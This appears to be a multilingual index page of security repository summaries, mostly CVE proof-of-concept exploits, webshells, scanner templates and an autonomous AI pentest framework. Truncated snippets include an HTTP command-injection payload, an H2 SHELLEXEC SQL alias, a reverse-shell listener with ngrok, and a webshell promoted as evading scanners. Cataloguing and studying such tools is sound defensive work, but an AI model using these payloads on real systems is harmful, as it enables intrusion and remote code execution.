cve-2022-42889-intercept

cve-2022-42889-intercept Java11 से कम संस्करणों पर ध्यान दें, उच्च संस्करणों ने Javascript इंटरप्रेटर हटा दिया है। यह समाधान Java8 के लिए है। jvm स्टार्टअप पैरामीटर और jps pid के माध्यम से अवैध पैरामीटरों को रोकें। त्वरित प्रारंभ -----------------------load...... cve-2022-42889 check start...

exocomp

Exocomp गोलांग के लिए अनुकूलित स्व-होस्टेड मल्टी-एजेंट वातावरण। विशेषताएँ ध्यान दें, लाभ-साधक और दूरदर्शी! क्या जैविक आपको समय, वेतन और - सबसे बुरी बात - लाभों की कीमत चुका रहे हैं? तो आज ही अपने संचालन को नई Exocomp अनुकूली मरम्मत इकाई के साथ अपग्रेड करें, अल्फा क्वाड्रेंट के इस ओर सबसे स्मार्ट...

Drupalgeddon2

CVE-2018-7600 | Drupal 7.58 / 8.3.9 / 8.4.6 / 8.5.1 - 'Drupalgeddon2' RCE SA-CORE-2018-002 مستوحى من https://github.com/dreadlocked/Drupalgeddon2 يدعم: Drupal 8.3.9 / 8.4.6 / 8.5.1 رابط user/register، مهاجمة account/mail ووسيط postrender، باستخدام دالة passthru في PHP قيد الانتظار لم تتم برمجته ب...

Article-RegreSSHion-CVE-2024-6387

RegreSSHion CVE-2024-6387: OpenSSH में गंभीर रिमोट कोड निष्पादन भेद्यता एक ऐसे युग में जहाँ डिजिटल सुरक्षा महत्वपूर्ण है, OpenSSH में एक नई भेद्यता, जिसे CVE-2024-6387 के रूप में पहचाना गया है, ने दुनिया भर के सिस्टम प्रशासकों और सुरक्षा पेशेवरों का ध्यान आकर्षित किया है। 'regreSSHion' नामक यह...

CVE-2019-12384

CVE-2019-12384 Jackson RCE And SSRF 0x01 python -m SimpleHTTPServer python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 127.0.0.1 - - 24/Jul/2019 03:06:32 "GET /inject.sql HTTP/1.1" 200 - inject.sql CREATE ALIAS SHELLEXEC AS $$ String shellexecString cmd throws java.io.IOException...

AtomShields

AtomShields |Build| |Codacy| |Docs| |Version| .. |Docs| image:: https://readthedocs.org/projects/atomshields/badge/?version=latest :target: http://atomshields.readthedocs.io/en/latest/?badge=latest :alt: Read the Docs .. |Version| image:: http://img.shields.io/pypi/v/atomshields.svg?style=flat...

CVE-2020-7931

CVE-2020-7931: Artifactory Pro में SSTI शोषण CVE-2020-7931 कुछ हद तक Artifactory में एक जानबूझकर गलत कॉन्फ़िगरेशन भेद्यता है जो हमलावरों को FreeMarker टेम्पलेट से सर्वर-साइड टेम्पलेट इंजेक्शन करने देती है। यह भेद्यता Atredis के Ryan Hanson द्वारा खोजी गई थी और 2019 के अंत में सभी प्रभावित संस्करण...

nano

nano Nano PHP वेबशेल्स का एक परिवार है जो अत्यधिक चुपके और कुशल होने के लिए कोड गोल्फ किए गए हैं। इसे देखते रहें, शायद मैं यहाँ और वेबशेल्स अपलोड करता रहूंगा। Nano ?=$GETp==&&$GETf; विशेषताएँ आकार में 35 बाइट्स स्टेटिक कोड स्कैनर्स द्वारा पहचाना नहीं जा सकता प्रमाणीकरण का समर्थन करता है उपयोग...

msf-module-CVE-2019-0708

CVE-2019-0708 Bluekeep CVE-2019-0708 BlueKeep के लिए Metasploit मॉड्यूल https://github.com/rapid7/metasploit-framework/tree/5a0119b04309c8e61b44763ac08811cd3ecbbf8d/modules/exploits/windows/rdp से लिया गया और ठीक किया गया फ़ाइल कॉपी करने के निर्देश 1...

CVE-2026-97076

The WP Rocket WordPress plugin is vulnerable to an Executable Regular Expression Error (CWE-624) in versions prior to 3.23.5 . This vulnerability can lead to Code Injection or a Denial of Service (DoS) attack. While the initial description mentions code injection, the PatchStack documentation spe...

EUVD-2026-95510

Executable Regular Expression Error vulnerability in WP Media WP Rocket wp-rocket allows Code Injection.This issue affects WP Rocket: from n/a before 3.23.5...

CVE-2024-21413

CVE-2024-21413 | إثبات مفهوم ثغرة تنفيذ التعليمات البرمجية عن بُعد في Microsoft Outlook 🚀 الاستخدام تأكد من أن لديك الأذونات والتفويض المناسبين من مالك النظام الهدف قبل استخدام هذا السكربت. المتطلبات الأساسية Python 3.x impacket-smbserver مثال على الاستخدام sudo python3 CVE-2024-21413.py 🛠️ الميزا...

CVE-2024-25600_Nuclei-Template

CVE-2024-25600Nuclei-Template قالب Nuclei ومعلومات حول إثبات المفهوم POC لـ CVE-2024-25600 الوصف 📝 ثمة ثغرة أمنية في قالب Bricks لووردبريس تسمح بتنفيذ الأوامر عن بُعد RCE في جميع الإصدارات حتى الإصدار 1.9.6. وهذا يجعل من الممكن للمهاجمين غير الموثّقين تنفيذ أكواد ضارة على الخادم. هذا القالب 🛠️ مصم...

redamon

Unmask the hidden before the world does An autonomous AI framework that chains reconnaissance, exploitation, and post-exploitation into a single pipeline, then goes further by triaging every finding, implementing code fixes, and opening pull requests on your repository. From first packet to merge...

winsos-poc

WinSOS تستخدم هذه التقنية الملفات التنفيذية الموجودة داخل مجلد WinSxS، الذي عادةً ما تثق به Windows، لاستغلال أسلوب اختطاف ترتيب بحث DLL الكلاسيكي. ومن خلال الاستفادة من هذه الملفات التنفيذية، يمكن لجهات التهديد تنفيذ تعليمات برمجية ضارة داخل تطبيقات Windows دون الحاجة إلى صلاحيات مرتفعة. تلغي هذ...

apache-vulnerable

Apache संस्करणों के लिए स्कैन करें "ज़ीरो-डे" Apache Version 2.4.49 and 2.4.50 CVE-2021-41773 and CVE-2021-42013 उपयोग कैसे करें : आपको nuclei की आवश्यकता होगी ! https://github.com/projectdiscovery/nuclei स्थानीय nuclei इंस्टॉल की जाँच करें और टेम्पलेट सत्यापित करें nuclei -t...

CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

threat-modeling-mcp-server

थ्रेट मॉडलिंग एमसीपी सर्वर निर्देशित कोड सत्यापन के साथ व्यापक थ्रेट मॉडलिंग के लिए एक मॉडल कॉन्टेक्स्ट प्रोटोकॉल MCP सर्वर। विषय-सूची अवलोकन त्वरित प्रारंभ प्रॉम्प्ट मुख्य विशेषताएँ पूर्व-आवश्यकताएँ स्थापना किरो सीएलआई के साथ चलाना आउटपुट फ़ाइल प्रबंधन त्वरित संदर्भ उपकरणों का अवलोकन थ्रेट मॉडलि...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 إثبات اختراق PoC من العالم الحقيقي الاستخدام تحميل bun https://github.com/oven-sh/bun/releases تشغيل ngrok ngrok tcp 4444 الاستماع على localhost 4444 nc -nvlp 4444 تشغيل الاستغلال bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport...

CVE-2024-28397-RCE

سكربت CVE-2024-28397 لتنفيذ الأوامر عن بعد RCE الحمولة الافتراضية لـ reverse shell مع إمكانية تمرير أمر اختياري الاستغلال يعمل مع js2py الإصدار v0.74 فأقل المتطلبات بايثون 3.x مكتبة requests pip install requests مستمع Netcat لـ reverse shell مثال الاستخدام الـ Reverse shell: python exploit.py...